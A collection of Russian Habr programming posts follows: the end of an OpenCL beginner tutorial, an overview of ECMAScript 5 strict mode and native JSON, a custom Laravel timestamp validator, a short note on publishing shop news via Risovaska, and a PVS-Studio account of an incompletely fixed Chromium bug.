context = clCreateContext(NULL, 1, &device_id, NULL, NULL, &ret);
/* создаем команду */
command_queue = clCreateCommandQueue(context, device_id, 0, &ret);
```
Обращаю внимание на переменную **ret**. Это переменная, которая содержит числовое значение которое возвращает та или иная функция. Если ret== 0, то функция выполнилась корректно, если нет, то значит произошла ошибка.
Так же заслуживает внимание константа **CL\_DEVICE\_TYPE\_DEFAULT**, она запрашивает устройство, которое используется для вычислений на OpenCL по умолчанию. Вместо данной константы могут быть использованы другие. К примеру:
* **CL\_DEVICE\_TYPE\_CPU** — запросит существующие CPU.
* **CL\_DEVICE\_TYPE\_GPU** — запросит существующие GPU.
### Kernel
Отлично. Настроили инфраструктуру. Теперь возьмемся за kernel. Kernel — это просто функция объявление, которой начинается с ключевого слова \_\_kernel. Синтаксис языка программирования OpenCL базируется на стандарте **C99**, но имеет ряд специфических и очень важных изменений. Об этом будет (я очень надеюсь) отдельная статья. Пока базовая информация:
1. Код который, будет дергаться с хостовой части, для исполнения, должен начинаться с ключевого слова \_\_kernel;
2. Функция с ключевым словом \_\_kernel всегда возвращает **void**;
3. Существуют квалификаторы типов памяти: **\_\_global**, **\_\_local**, **\_\_constant**, **\_\_private**, которые будут определять, в какой памяти будут храниться переменные. Если квалификатора перед переменной нет, то она является \_\_private;
4. «Общение» между хостом и kernel будет через параметры kernel. Чтобы kernel мог что-то передать хосту через параметр, параметр должен быть с квалификатором \_\_global (пока будем использовать только \_\_global);
5. Код kernel принято хранить в файле с расширением **cl**. Но по сути подобный код может генерироваться и *на лету*. Это позволяет обойти некоторые ограничения. Но об этом в другой раз :)
Простейший пример kernel приведен ниже:
```
__kernel void test(__global int* message)
{
// получаем текущий id.
int gid = get_global_id(0);
message[gid] += gid;
}
```
Что делает данный код. Первое — получает глобальный id **work-item** который сейчас выполняется. Work-item — это то что и выполняет наш kernel. Так как мы имеем дела с параллельными вычислениями, то для каждого work-item создается свой kernel который ничего не знает о других. И никто не может гарантировать в каком порядке все work-item отработают. Но об этом подробней будет в отдельной статье (уже утал это повторять). В нашем примере это по сути индекс элемента в массиве, потому что мы будем каждый элемент массива обрабатывать в отдельном work-item. Думаю вторую строчку строчку в kernel комментировать излишни :)
### Формируем kernel
Следующий шаг скомпилировать, то что лежит в файле \*.cl. Делается это следующим образом:
```
cl_program program = NULL;
cl_kernel kernel = NULL;
FILE *fp;
const char fileName[] = "../forTest.cl";
size_t source_size;
char *source_str;
int i;
try {
fp = fopen(fileName, "r");
if (!fp) {
fprintf(stderr, "Failed to load kernel.\n");
exit(1);
}
source_str = (char *)malloc(MAX_SOURCE_SIZE);
source_size = fread(source_str, 1, MAX_SOURCE_SIZE, fp);
fclose(fp);
}
catch (int a) {
printf("%f", a);
}
/* создать бинарник из кода программы */
program = clCreateProgramWithSource(context, 1, (const char **)&source_str, (const size_t *)&source_size, &ret);
/* скомпилировать программу */
ret = clBuildProgram(program, 1, &device_id, NULL, NULL, NULL);
/* создать кернел */
kernel = clCreateKernel(program, "test", &ret);
```
Типы **cl\_program** и **cl\_kernel** определены в cl.h. Сам сценарий довольно прост — загружаем файл, создаем бинарник (clCreateProgramWithSource) и компилируем. Если переменная ret по прежнему содержит 0, то вы все сделали правильно. И останется только создать сам kernel. Важно, чтобы имя передаваемое в команду clCreateKernel, совпадало с именем kernel в файле cl. В нашем случае это «test».
### Параметры
Я уже упоминал, что «общения» kernel с хостом происходит за счет записи/чтения в параметры, которые передаются в kernel. В нашем случае это параметр **message**. Параметры, которые позволяют вот так общаться хосту с kernel, называются **буферами(buffer)**. Давайте создадим такой буфер на стороне хоста и передадим в kernel через API:
```
cl_mem memobj = NULL;
int memLenth = 10;
cl_int* mem = (cl_int *)malloc(sizeof(cl_int) * memLenth);
/* создать буфер */
memobj = clCreateBuffer(context, CL_MEM_READ_WRITE, memLenth * sizeof(cl_int), NULL, &ret);
/* записать данные в буфер */
ret = clEnqueueWriteBuffer(command_queue, memobj, CL_TRUE, 0, memLenth * sizeof(cl_int), mem, 0, NULL, NULL);
/* устанавливаем параметр */
ret = clSetKernelArg(kernel, 0, sizeof(cl_mem), (void *)&memobj);
```
Важно отметить константу **CL\_MEM\_READ\_WRITE**, она означает, что мы у нас есть права для буфера на чтение и запись, на стороне kernel. Так же могут быть использованы константы типа **CL\_MEM\_WRITE\_ONLY**, **CL\_MEM\_READ\_ONLY** и др. Так же в методе clSetKernelArg, важен второй аргумент, он содержит индекс параметра. В данном случае 0, так как параметр message идет первым в сигнатуре kernel. Если бы он шел вторым, то мы бы написали:
```
/* устанавливаем параметр */
ret = clSetKernelArg(kernel, 1, sizeof(cl_mem), (void *)&memobj);
```
**clEnqueueWriteBuffer** записывает данные из массива mem в буфер memobj.
Ну что в целом все готово. Осталось только выполнить kernel.
### Исполняем kernel
Погнали, отправляем код на исполнение:
```
size_t global_work_size[1] = { 10 };
/* выполнить кернел */
ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, global_work_size, NULL, 0, NULL, NULL);
/* считать данные из буфера */
ret = clEnqueueReadBuffer(command_queue, memobj, CL_TRUE, 0, memLenth * sizeof(float), mem, 0, NULL, NULL);
```
**global\_work\_size** содержит число work-item которые будут созданы. Я уже говорил, что на обработку каждого элемента массива у нас будет свой work-item. Элементов в массиве у нас 10, следовательно work-item содержит 10. **clEnqueueNDRangeKernel** особых вопросов порождать не должна — просто запускает указанный kernel заданное число раз. **clEnqueueReadBuffer** считывает данные из буфера с именем memobj и помещает данные в массив mem. Данные в mem и есть наш результат!
### Итоги и выводы
Друзья, вот так я представляю старт в OpenCL для новичка. Надеюсь на ваши конструктивные замечания в комментариях, чтобы можно было внести апдейты в будущем. Я пытался быть кратким, но все равно объем вышел не маленький. Так что могу сказать, что материала для 2-3 статей найти еще смогу.
Спасибо, всем кто дочитал до конца! | https://habr.com/ru/post/261323/ | null | ru | null |
# ECMAscript 5: Строгий режим, JSON, и так далее
Раньше я проанализировал функциональность [обьектов и свойств ECMAScript 5](http://habrahabr.ru/blogs/javascript/60234/). Это огромный новый аспект языка и он заслуживает особого рассмотрения.
Есть целый ряд других новых функций и API, которые также требуют внимания. Самыми значимыми из которых являются **строгий режим** и родная поддержка **JSON**.
#### Строгий режим
Строгий режим является новой особенностью в ECMAScript 5, позволяющей заставить выполняться программу или функцию в «строгом» операционном контексте. Строгий контекст предотвращает возможность выполнения определенных действий и выбрасывает больше исключений (предоставляя также пользователю больше информации, и поддерживая парадигму кодирования пирамидой вниз).
В то время, как ECMAScript 5 обратно совместим с ECMAScript 3, все «особенности» ECMAScript 3, которые «не рекомендуется» сейчас использовать, просто отключены (или выбрасывают исключения) в строгом режиме.
Строгий режим помогает сразу в нескольких аспектах:* Он перехватывает некоторые общие опечатки кодирования, выбрасывая исключения.
* Он предотвращает, или выбрасывает исключения, когда предпринимаются «относительно опасные» действия (такие, как получение доступа к глобальному объекту).
* Он отключает возможности ES, которые являются запутывающими или плохо продуманными.
Большая часть информации о строгом режиме может быть найдена в [спецификации ES5 [PDF]](http://www.ecma-international.org/publications/files/drafts/tc39-2009-025.pdf) на странице #223.
Нужно отметить, что строгий режим ECMAScript 5 отличается от строгого режима, доступного в Firefox (который может быть включен через about:config, параметр javascript.options.strict). Строгий режим ES5 блокирует совершенно иной набор потенциальных ошибок (тогда как существующий строгий режим Firefox пытается наблюдать за соблюдением некоторых рекомендаций по написанию хорошего кода, но не более того).
##### Как Вы включаете строгий режим?
Просто. Вставьте этот оператор выше программы, чтобы включить его для целого скрипта:
> `"use strict";
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Или поместите этот оператор в пределах функции, чтобы включить строгий режим только в пределах её контекста.
> `function imStrict(){
>
> "use strict";
>
> // ... your code ...
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Обратите внимание на синтаксис, который используется, чтобы разрешить строгий режим (мне он нравится!). Это просто строка одним оператором, которая содержит значение «use strict». *Никакого нового синтаксиса для определения строгого режима не вводится.* Это является огромным плюсом. Это означает, что вы можете включить строгий режим в вашем сценарии — сегодня, — и он будет, в худшем случае, без побочных эффектов в старых браузерах.
Как вы можете отметить из примеров здесь и в [предыдущей статье](http://habrahabr.ru/blogs/javascript/60234/), практически нет новых синтаксических дополнений или изменений в языке в спецификации ECMAScript 5. Это означает, что вы можете написать ваши ES5 скрипты таким образом, что они смогут корректно деградировать для устаревших клиентов — то, чего не было возможным с ECMAScript 4. То, как поддерживается строгий режим, является яркой иллюстрацией этого момента на практике.
А изящный аспект определения строгого режима в рамках функции состоит в том, что теперь вы можете определить вашу JavaScript-библиотеку полностью в строгом режиме, не затрагивая код снаружи.
> `// Non-strict code...
>
>
>
> (function(){
>
> "use strict";
>
>
>
> // Define your library strictly...
>
> })();
>
>
>
> // Non-strict code...
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Много библиотек уже используют вышеупомянутую методику (обертывание всей библиотеки анонимной функцией, которая далее выполняется), и они очень легко
будут в состоянии использовать в своих интересах строгий режим.
Так что изменится, когда Вы поместите скрипт в строгий режим? Очень многое.
##### Переменные и свойства
Попытка присвоить `foo = "bar";` там, где переменная 'foo' не была определена, будет терпеть неудачу. Ранее этот код присвоил бы значение к свойству foo глобального объекта (например, window.foo), теперь это только выбросит исключение. Это определенно исключит некоторые раздражающие ошибки.
Любые попытки изменить свойство, чей атрибут «writable» установлен в ложь, удаления свойства, чей атрибут «configurable» установлен в ложь, или добавления свойства к объекту, атрибут «extensible» которого установлен в ложь, закончится по ошибке (эти атрибуты были [обсуждены ранее](http://habrahabr.ru/blogs/javascript/60234/)). В обычном режиме никакая ошибка не будет выброшена, когда любое из этих действий будет предпринято, они будут только молча завершаться неудачей.
Удаление переменной, функции или параметра закончится ошибкой.
> `var foo = "test";
>
> function test(){}
>
>
>
> delete foo; // Error
>
> delete test; // Error
>
>
>
> function test2(arg) {
>
> delete arg; // Error
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Определение свойства более, чем однократно, в одном обьектном литерале, — выбросит исключение.
> `// Error
>
> { foo: true, foo: false }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### eval
Практически любая попытка использовать имя 'eval' запрещено — а это возможность присвоить функцию eval переменной или свойству объекта.
> `// All generate errors...
>
> obj.eval = ...
>
> obj.foo = eval;
>
> var eval = ...;
>
> for ( var eval in ... ) {}
>
> function eval(){}
>
> function test(eval){}
>
> function(eval){}
>
> new Function("eval")
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Кроме того, попытки ввести новые переменные через eval будет заблокированы.
> `eval("var a = false;");
>
> print( typeof a ); // undefined
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### Функции
Попытка переписать объект аргументов приведёт к ошибке:
> `arguments = [...]; // not allowed
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Определение нескольких аргументов с одинаковым названием приведет к ошибке
> `function(Foo, Foo) {} // error
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Доступ к arguments.caller и arguments.callee сейчас выбросит исключение. Таким образом, любые анонимные функции, на которые вы хотите сделать ссылку, необходимо будет именовать, например, так:
> `setTimeout(function later(){
>
> // do stuff...
>
> setTimeout( later, 1000 );
>
> }, 1000 );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Свойства arguments и caller других функций больше не существуют — и способность определить их запрещена.
> `function test(){
>
> function inner(){
>
> // Don't exist, either
>
> test.arguments = ...; // Error
>
> inner.caller = ...; // Error
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Наконец, давняя (и очень раздражающая) ошибка была исправлена: Случаи, когда null или undefined принуждены становиться глобальным объектом. Строгий режим теперь препятствует тому, чтобы это случалось, и бросает исключение вместо этого.
> `(function(){ ... }).call( null ); // Exception
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### with(){}
В строгом режиме операторы with почили в бозе — по сути, они даже выглядят как синтаксические ошибки. Несмотря на то, что этот оператор, безусловно, неправильно понимался и, возможно, использовался неверно, я не уверен, что этого достаточно, чтобы быть пострадавшим от такой записи.
Изменения, сделанные в строгом режиме ECMAScript 5, несомненно, разнообразны (от навязывания стилистических предпочтений, например, удаления операторов with, до корректного исправления плохих ошибок в языке, как, например, способности к переопределению свойств в обьектных литералах). Будет интересно посмотреть, как люди начнут адаптироваться к этим новшествам и каким образом эти новшества изменят развитие JavaScript.
> Я хотел бы заметить, что я достаточно уверен, что jQuery уже сейчас совместим со строгим режимом ES5. Как только станет доступной реализация этого языка (так, чтобы это утверждение могло быть проверено), я с радостью переключу jQuery для работы исключительно в строгом режиме.
#### JSON
Второй важной особенностью языка является добавление родной поддержки JSON в сам язык.
Я [настаивал](http://ejohn.org/blog/native-json-support-is-required/) на этом шаге в течение [долгого времени](http://ejohn.org/blog/the-state-of-json/), и я очень рад видеть его, наконец, в спецификации.
В ближайшем времени, ПОЖАЛУЙСТА, начинайте миграцию ваших JSON-приложений на [json2.js](http://json.org/json2.js) от Крокфорда. Он полностью совместим со спецификацией ECMAScript 5 и грациозно переключается на родную (более быструю!) реализацию, если она существует.
На самом деле, я вчера [закоммитил](http://dev.jquery.com/changeset/6361) изменение jQuery, чтобы использовать метод JSON.parse, если он существует, тем более что теперь этот метод наконец специфицирован.
Существуют два основных метода для обработки JSON: JSON.parse (который преобразует строку JSON в объект JavaScript) и JSON.stringify (который преобразовывает объект JavaScript в сериализованную строку).
##### JSON.parse( text )
Преобразует сериализованную строку JSON в объект JavaScript
> `var obj = JSON.parse('{"name":"John"}');
>
> // Prints 'John'
>
> print( obj.name );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### JSON.parse( text, translate )
Использует функцию трансляции для конвертации значений или их полного удаления.
> `function translate(key, value) {
>
> if ( key === "name" ) {
>
> return value + " Resig";
>
> }
>
> }
>
>
>
> var obj = JSON.parse('{"name":"John","last":"Resig"}', translate);
>
> // Prints 'John Resig'
>
> print( obj.name );
>
>
>
> // Undefined
>
> print( obj.last );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### JSON.stringify( obj )
Преобразовывает объект JavaScript в сериализованную строку
> `var str = JSON.stringify({ name: "John" });
>
> // Prints {"name":"John"}
>
> print( str );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### JSON.stringify( obj, [«white», «list»])
Сериализует только специфицированный «белый список» свойств.
> `var list = ["name"];
>
> var str = JSON.stringify({name: "John", last: "Resig"}, list);
>
> // Prints {"name":"John"}
>
> print( str );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### JSON.stringify( obj, translate )
Сериализует обьект с использованием транслирующей функции.
> `function translate(key, value) {
>
> if ( key === "name" ) {
>
> return value + " Resig";
>
> }
>
> }
>
>
>
> var str = JSON.stringify({"name":"John","last":"Resig"}, translate);
>
> // Prints {"name":"John Resig"}
>
> print( str );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### JSON.stringify( obj, null, 2 )
Добавляет указанное число пробелов при выводе, равномерно.
> `var str = JSON.stringify({ name: "John" }, null, 2);
>
> // Prints:
>
> // {
>
> // "name": "John"
>
> // }
>
> print( str );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### JSON.stringify( obj, null, "\t" )
Использует указанную строку для выполнения табуляции.
> `var str = JSON.stringify({ name: "John" }, null, "\t");
>
> // Prints:
>
> // {\n\t"name": "John"\n}
>
> print( str );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Также несколько новых универсальных методов были добавлены к некоторым из базовых объектов, но, искренне, они не так интересны. Результаты для String, Boolean, и Number эквивалентны запросу.valueOf(), и результат для Date эквивалентен вызову .toISOString().
> `// Yawn...
>
> String.prototype.toJSON
>
> Boolean.prototype.toJSON
>
> Number.prototype.toJSON
>
> Date.prototype.toJSON
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### .bind()
Приветствуемое дополнение к языку — встроенный метод .bind () для того, чтобы реализовать контекст функции (фактически идентичный реализации .bind в библиотеке Prototype.js).
##### Function.prototype.bind (thisArg, arg1, arg2....)
Задает значение 'this' указанной функции равное специфицированному объекту — и передаёт функции любые указанные параметры.
> `var obj = {
>
> method: function(name){
>
> this.name = name;
>
> }
>
> };
>
>
>
> setTimeout( obj.method.bind(obj, "John"), 100 );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Учитывая, как долго эта функция (и его эквиваленты) существует в разных библиотеках, это отрадное дополнение к языку.
#### Date
Даты теперь способны и парсить, и выводить себя в формате ISO. Спасибо.
Конструктор Даты теперь пытается сперва анализировать дату, как будто она была отформатирована по стандарту ISO, и только затем переходит к другим форматам, которые он понимает.
Дополнительно, у объектов даты теперь есть новый метод .toISOString (), который выводит дату в формате ISO.
> `var date = new Date("2009-05-21T16:06:05.000TZ");
>
>
>
> // Prints 2009-05-21T16:06:05.000TZ
>
> print( date.toISOString() );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### .trim()
Родной, встроенный метод .trim () теперь включен для строк. Работает тождественно ко всем другим методам trim — но с потенциалом, чтобы, возможно, работать быстрее.
Стивен Левитан обсудил [метод trim](http://blog.stevenlevithan.com/archives/faster-trim-javascript) более подробно.
#### Массив
[Расширения для массивов JavaScript](https://developer.mozilla.org/en/New_in_JavaScript_1.6#Array_extras), похоже, наконец формально определены. Они включают в себя следующие методы: indexOf, lastIndexOf, every, some, forEach, map, filter, reduce и reduceRight.
Дополнительно добавлен новый метод Array.isArray, обеспечивая функциональные возможности, очень похожие следующему:
> `Array.isArray = function( array ) {
>
> return Object.prototype.toString.call( array ) === "[object Array]";
>
> };
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В целом, я думаю, что ECMAScript 5 делает интересное предложение. Это не громадный прыжок, который обещал ECMAScript 4, но это — серия великолепных усовершенствований, которая сокращает количество очевидных ошибок, делая язык более безопасным и быстрым. Я с нетерпением жду, когда некоторые реализации станут публично доступными. | https://habr.com/ru/post/60282/ | null | ru | null |
# Laravel Timestamp Validator
Laravel 5.1, Laravel 5.2, Lara… Код прогрессирует, оптимизируется и развивается. В новой (5.2) версии появился валидатор массивов, например, но что делать, если необходимо провалидировать входящий timestamp? Правильно, писать ~~костыль~~ своё решение.
Жил был и живёт один проект на Laravel 5.1. Точнее, живёт его API сторона. Есть необходимость «гонять» туда-сюда различные даты. Но как их гонять, если существуют часовые пояса? Принято решение установить сервер в UTC+0 и общаться с помощью timestamp, который на фронтенде легко преобразуется в нужное время. Окей, вопросов по этому не возникло. Кроме одного — как валидировать входящие данные? Создадим собственный валидатор.
*Полный код валидатора в самом конце статьи.*
Поехали!
В папке app/Extensions/Validators создаём файл и именуем **TimestampValidator.php**.
```
namespace Lame\Extensions\Validators;
use Illuminate\Validation\Validator;
class TimestampValidator extends Validator{
}
```
Нам необходимо принимать, чтобы входящая дата подходила под «до» и «после».
Рассмотрим первый пример. У нас есть дата рождения пользователя. Пользователь должен быть старше 10 лет, т.е. рождён до 2016 года. Соответственно, нам необходимо принимать дату, которая будет до 2016 года. В правилах валидации указываем:
```
/** Берем текущую дату, отнимаем 10 лет, прибавляем один день и получаем timestamp от необходимой даты */
$date = Carbon::now()->subYears(10)->addDay(1)->timestamp;
/** Указываем, что входящая дата в формате timestamp должна быть до нужной даты в timestamp */
$rules = [
"bDay" => "numeric|before_timestamp:".$date,
];
```
Появилось правило «before\_timestamp». Возвращаемся в наш валидатор и создаём метод, который будет осуществлять нужную проверку. Название метода должно иметь следующую структуру: «validate<правило в camelCase формате>». $value среди входящих параметров — значение, которое поступило из вне. $parameters — массив параметров, которые указали в правилах (before\_timestamp:".$date).
```
public function validateBeforeTimestamp($attribute, $value, $parameters)
{
$value = (int)$value;
if ((int)$parameters[0] <= 0) {
throw new \Exception("Timestamp parameter in the beforeTimestamp validator not valid!");
}
if ($value != "" && $value >= $parameters[0]) {
return false;
}
return true;
}
```
Второй пример. Нам необходимо создать задачу с дедлайном. Минимальный дедлайн — 4 часа. Создаём правила:
```
$date = Carbon::now()->addHours(4)->timestamp;
$rules = [
"deadline" => "required|numeric|after_timestamp:".$date
];
```
Появилось новое правило — «after\_timestamp». Обработаем его в нашем валидаторе:
```
public function validateAfterTimestamp($attribute, $value, $parameters)
{
$value = (int)$value;
if ((int)$parameters[0] <= 0) {
throw new \Exception("Timestamp parameter in the beforeTimestamp validator not valid!");
}
if ($value != "" && $value <= $parameters[0]) {
return false;
}
return true;
}
```
Чтобы подключить наш валидатор, я создал свой ServiceProvider в папке app/Providers — **CustomValidateServiceProvider.php**.
```
php
namespace Lame\Providers;
use Illuminate\Support\ServiceProvider;
use Lame\Extensions\Validators\TimestampValidator;
use Validator;
class CustomValidateServiceProvider extends ServiceProvider
{
/**
* Bootstrap any application services.
*
* @return void
*/
public function boot()
{
Validator::resolver(function ($translator, $data, $rules, $messages) {
return new TimestampValidator($translator, $data, $rules, $messages);
});
}
/**
* Register any application services.
*
* @return void
*/
public function register()
{
//
}
}
</code
```
На этом, в принципе всё. Сообщения об ошибках указываются в файле **validation.php**.
```
"custom" => [
"deadline" => [
"after_timestamp" => "Deadline should be minimum 4 hours"
],
"bDay" => [
"before_timestamp" => "Age should be minimum 10 years",
"numeric" => "Birthday date should be in timestamp"
]
]
```
**Полный код класса**
```
php
namespace Lame\Extensions\Validators;
use Illuminate\Validation\Validator;
class TimestampValidator extends Validator
{
#region timestamp valitators - after_timestamp:{timestamp} | before_timestamp:{timestamp}
/**
* @param $attribute
* @param $value
* @param $parameters = ["date" = "Date before which should be input timestamp"]
* @return bool
* @throws \Exception
*/
public function validateBeforeTimestamp($attribute, $value, $parameters)
{
$value = (int)$value;
if ((int)$parameters[0] <= 0) {
throw new \Exception("Timestamp parameter in the beforeTimestamp validator not valid!");
}
if ($value != "" && $value >= $parameters[0]) {
return false;
}
return true;
}
/**
* @param $attribute
* @param $value
* @param $parameters = ["date" => "Date before which should be input timestamp"]
* @return bool
* @throws \Exception
*/
public function validateAfterTimestamp($attribute, $value, $parameters)
{
$value = (int)$value;
if ((int)$parameters[0] <= 0) {
throw new \Exception("Timestamp parameter in the beforeTimestamp validator not valid!");
}
if ($value != "" && $value <= $parameters[0]) {
return false;
}
return true;
}
#endregion
}
```
С помощью [date](https://laravel.com/docs/5.1/validation#rule-date), [after](https://laravel.com/docs/5.1/validation#rule-after), [before](https://laravel.com/docs/5.1/validation#rule-before) timestamp не проверишь. Или можно проверить? Если можно, буду рад в комментариях, сообщениях прочитать существующие варианты. | https://habr.com/ru/post/281827/ | null | ru | null |
# Использую Рисоваську для публикации новостей на сайте
На сайте интернет-магазина [Магазинчика HandMade](http://hand-made-shop.ru) я использую трансляцию моего аккаунта в [Рисоваське](http://risovaska.ru/) НandMade-news для публикаций новостей и обновлений в магазине.
Новость я рисую прямо в программе Рисоваськи, публикую в канал «Все друзья» и она сразу же появляется на сайте.
Рисовать новости в Рисоваське — это очень удобно и весело. Например так:
`новости про Одри, нарисовано в Рисоваське` | https://habr.com/ru/post/55383/ | null | ru | null |
# Судьба баг-репорта
Довольно частый (и логичный) вопрос к нашим статьям с проверкой открытых проектов: отправляются ли разработчикам баг-репорты? Так вот, ответ – да. Более того, мы на этом не останавливаемся и иногда отслеживаем прогресс. Сегодня хотелось бы рассказать об одном из случаев, где именно эта педантичность предотвратила фиктивное исправление бага.
Введение
--------
Думаю, ни для кого не секрет, что сообщать разработчикам об ошибках очень важно. Ведь всем нравится, когда программы работают быстро, корректно и стабильно. Другое дело, что далеко не всех интересует, что происходит с их баг-репортами после отправки. А зря, ведь, уделив совсем немного своего внимания, можно значительно ускорить решение проблемы или даже помочь исправить больше, чем предполагалось изначально.
Так вот, о чём я. Пару месяцев назад мы опубликовали статью с [проверкой проекта Chromium](https://pvs-studio.com/ru/blog/posts/cpp/0893/), в рамках которой я отправил разработчикам [баг-репорт](https://bugs.chromium.org/p/chromium/issues/detail?id=1275942) с ошибками из статьи. Но, как вы понимаете, если бы всё было хорошо, то и эта заметка не увидела бы свет. Что же пошло не так?
> **Важный дисклеймер:**
>
> ошибки свойственны всем, и у меня нет никаких претензий к разработчикам Chromium. Просто попался интересный случай, который можно привести в пример :)
Кроме того, хотелось бы выразить почтение разработчикам за то, настолько же оперативно они разбирают и исправляют присланные ошибки. Даже несмотря на ~~бесконечный~~ огромный список открытых issues, мой отчёт обработали практически в тот же день, да ещё и заложили исправление. [Бывает и совсем по-другому](https://pvs-studio.com/ru/blog/posts/cpp/0900/).
Перед началом не помешает освежить в памяти ошибку, про которую дальше будет разговор (случай N8 из [оригинальной статьи](https://pvs-studio.com/ru/blog/posts/cpp/0893/#IDF4B9F56C47)):
[V501](https://pvs-studio.com/ru/docs/warnings/v501/) There are identical sub-expressions 'file.MatchesExtension(L".xlsb")' to the left and to the right of the '||' operator. download\_type\_util.cc 60
```
ClientDownloadRequest::DownloadType GetDownloadType(const base::FilePath& file)
{
....
if (file.MatchesExtension(FILE_PATH_LITERAL(".apk")))
return ClientDownloadRequest::ANDROID_APK;
....
else if (file.MatchesExtension(FILE_PATH_LITERAL(".pdf")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".doc")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".docx")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".docm")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".docb")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".dot")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".dotm")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".dotx")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xls")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xlsb")) || // <=
file.MatchesExtension(FILE_PATH_LITERAL(".xlt")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xlm")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xlsx")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xldm")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xltx")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xltm")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xlsb")) || // <=
file.MatchesExtension(FILE_PATH_LITERAL(".xla")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xlam")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xll")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xlw")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".ppt")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".pot")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".pps")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".pptx")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".pptm")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".potx")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".potm")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".ppam")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".ppsx")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".ppsm")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".sldx")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".xldm")) ||
file.MatchesExtension(FILE_PATH_LITERAL(".rtf")))
return ClientDownloadRequest::DOCUMENT;
....
}
```
Ближе к делу
------------
Так вот, на одной из итераций проверки почты я заметил оповещение о том, что загрузили правки для моего отчёта. Хм… Всего через один день? Любопытство взяло верх, и я решил посмотреть, что же там происходит. И не зря…
Здесь случилось именно то, о чём меня предупреждали коллеги: в описании одной из ошибок я решил не полностью раскрыть описываемую проблему и оставил часть читателям для самостоятельной работы. Результат – красным цветом выделено исправление, внесённое разработчиками, а жёлтым цветом я выделил ещё одно дублированное значение, которое следовало найти самостоятельно.
Похоже, что разработчики немного поспешили с внесением изменений в код и не стали вчитываться в статью. Очень жаль, нужно будет учесть на будущее…
Конечно же, я сразу [написал](https://bugs.chromium.org/p/chromium/issues/detail?id=1275942#c6) разработчикам, что следует уделить особое внимание внесённому изменению, и указал на дополнительное значение, которое следует проверить/убрать.
Что ж, теперь ошибка [исправлена корректно](https://chromium.googlesource.com/chromium/src/+/d728320e), и можно даже немного подискутировать на тему, а можно ли было вообще избежать такой проблемы?
С одной стороны, у разработчиков Chromium и так достаточно работы, и за внимательное чтение чужих статей для поиска дополнительных проблем им, скорее всего, не доплачивают. А с другой – качество кода всё же страдает. В приведённом выше примере довольно сложно найти ошибку, даже зная, что она там точно есть. Эх, вот бы был способ как-нибудь отлавливать такие ошибки… Хотя подождите, он есть!
Не уверен насчёт классических код ревью (ведь этот код попал в репозиторий), но вот большинство статических анализаторов вполне справились бы с этим случаем. По крайней мере, должны были, ведь именно в этом и состоит смысл статического анализа кода – в быстром отслеживании ошибок в только что написанном или изменённом коде.
Кто-то может сказать, что нужно просто быть внимательным и хорошо структурировать код. Вариант хороший, но, к сожалению, в реальных проектах это удаётся далеко не всегда. Возможно, я не упомянул ещё какие-то варианты… Тогда буду рад выслушать ваше мнение по этому поводу в комментариях.
Кстати, у нас уже был похожий случай с проверкой проекта [CovidSim](https://github.com/mrc-ide/covid-sim). В нём разработчики также в спешке или по невнимательности попытались исправить код, но лучше не стало. Прочитать про этот и ещё один похожий случай можно в статьях моего коллеги "[Как PVS-Studio защищает от поспешных правок кода](https://pvs-studio.com/ru/blog/posts/cpp/0817/)" и "[Как PVS-Studio защищает от поспешных правок кода, пример N2](https://pvs-studio.com/ru/blog/posts/cpp/0910/)".
Ну и в конце хотелось бы узнать, а следите ли вы за дальнейшей судьбой своих баг-репортов?
Дополнительные ссылки
---------------------
* [Как PVS-Studio защищает от поспешных правок кода](https://pvs-studio.com/ru/blog/posts/cpp/0817/).
